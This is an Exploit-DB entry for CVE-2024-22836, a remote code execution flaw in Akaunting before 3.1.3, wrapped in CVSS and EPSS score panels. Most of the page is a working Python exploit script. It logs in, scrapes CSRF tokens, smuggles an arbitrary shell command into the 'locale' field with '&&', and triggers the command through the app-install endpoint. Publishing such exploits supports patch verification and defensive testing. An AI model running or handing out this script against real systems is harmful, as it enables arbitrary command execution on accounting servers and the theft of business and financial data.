Lucene search

K
exploitdbU32iEDB-ID:51870
HistoryMar 10, 2024 - 12:00 a.m.

Akaunting < 3.1.3 - RCE

2024-03-1000:00:00
u32i
www.exploit-db.com
76
akaunting
remote code execution
cve-2024-22836
command injection
ubuntu (22.04)
web security
python scripting
exploit script
information retrieval
csrf token
session management
authentication
error handling
vulnerability detection
app installation

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.7 High

AI Score

Confidence

High

0.006 Low

EPSS

Percentile

77.7%

# Exploit Title: Akaunting < 3.1.3 - RCE
# Date: 08/02/2024
# Exploit Author: [email protected]
# Vendor Homepage: https://akaunting.com
# Software Link: https://github.com/akaunting/akaunting
# Version: <= 3.1.3
# Tested on: Ubuntu (22.04)
# CVE : CVE-2024-22836

#!/usr/bin/python3

import sys
import re
import requests
import argparse

def get_company():
	# print("[INF] Retrieving company id...")
	res = requests.get(target, headers=headers, cookies=cookies, allow_redirects=False)
	if res.status_code != 302:
		print("[ERR] No company id was found!")
		sys.exit(3)
	cid = res.headers['Location'].split('/')[-1]
	if cid == "login":
		print("[ERR] Invalid session cookie!")
		sys.exit(7)
	return cid

def get_tokens(url):
	res = requests.get(url, headers=headers, cookies=cookies, allow_redirects=False)
	search_res = re.search(r"\"csrfToken\"\:\".*\"", res.text)

	if not search_res:
		print("[ERR] Couldn't get csrf token")
		sys.exit(1)

	data = {}
	data['csrf_token'] = search_res.group().split(':')[-1:][0].replace('"', '')
	data['session'] = res.cookies.get('akaunting_session')
	return data

def inject_command(cmd):
	url = f"{target}/{company_id}/wizard/companies"
	tokens = get_tokens(url)
	headers.update({"X-Csrf-Token": tokens['csrf_token']})
	data = {"_token": tokens['csrf_token'], "_method": "POST", "_prefix": "company", "locale": f"en_US && {cmd}"}
	res = requests.post(url, headers=headers, cookies=cookies, json=data, allow_redirects=False)
	if res.status_code == 200:
		res_data = res.json()
		if res_data['error']:
			print("[ERR] Command injection failed!")
			sys.exit(4)
		print("[INF] Command injected!")


def trigger_rce(app, version = "1.0.0"):
	print("[INF] Executing the command...")
	url = f"{target}/{company_id}/apps/install"
	data = {"alias": app, "version": version, "path": f"apps/{app}/download"}
	headers.update({"Content-Type":"application/json"})
	res = requests.post(url, headers=headers, cookies=cookies, json=data, allow_redirects=False)
	if res.status_code == 200:
		res_data = res.json()
		if res_data['error']:
			search_res = re.search(r">Exit Code\:.*<", res_data['message'])
			if search_res:
				print("[ERR] Failed to execute the command")
				sys.exit(6)
			print("[ERR] Failed to install the app! no command was executed!")
			sys.exit(5)
		print("[INF] Executed successfully!")

def login(email, password):
	url = f"{target}/auth/login"
	tokens = get_tokens(url)

	cookies.update({
		'akaunting_session': tokens['session']
	})

	data = {
		"_token": tokens['csrf_token'],
		"_method": "POST",
		"email": email,
		"password": password
	}
	
	req = requests.post(url, headers=headers, cookies=cookies, data=data)
	res = req.json()
	if res['error']:
		print("[ERR] Failed to log in!")
		sys.exit(8)

	print("[INF] Logged in")
	cookies.update({'akaunting_session': req.cookies.get('akaunting_session')})
		
def main():
	inject_command(args.command)
	trigger_rce(args.alias, args.version)

if __name__=='__main__':
	parser = argparse.ArgumentParser()
	parser.add_argument("-u", "--url", help="target url")
	parser.add_argument("--email", help="user login email.")
	parser.add_argument("--password", help="user login password.")
	parser.add_argument("-i", "--id", type=int, help="company id (optional).")
	parser.add_argument("-c", "--command", help="command to execute.")
	parser.add_argument("-a", "--alias", help="app alias, default: paypal-standard", default="paypal-standard")
	parser.add_argument("-av", "--version", help="app version, default: 3.0.2", default="3.0.2")

	args = parser.parse_args()
	
	headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36"}
	cookies = {}
	target = args.url

	try:
		login(args.email, args.password)
		company_id = get_company() if not args.id else args.id
		main()
	except:
		sys.exit(0)

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.7 High

AI Score

Confidence

High

0.006 Low

EPSS

Percentile

77.7%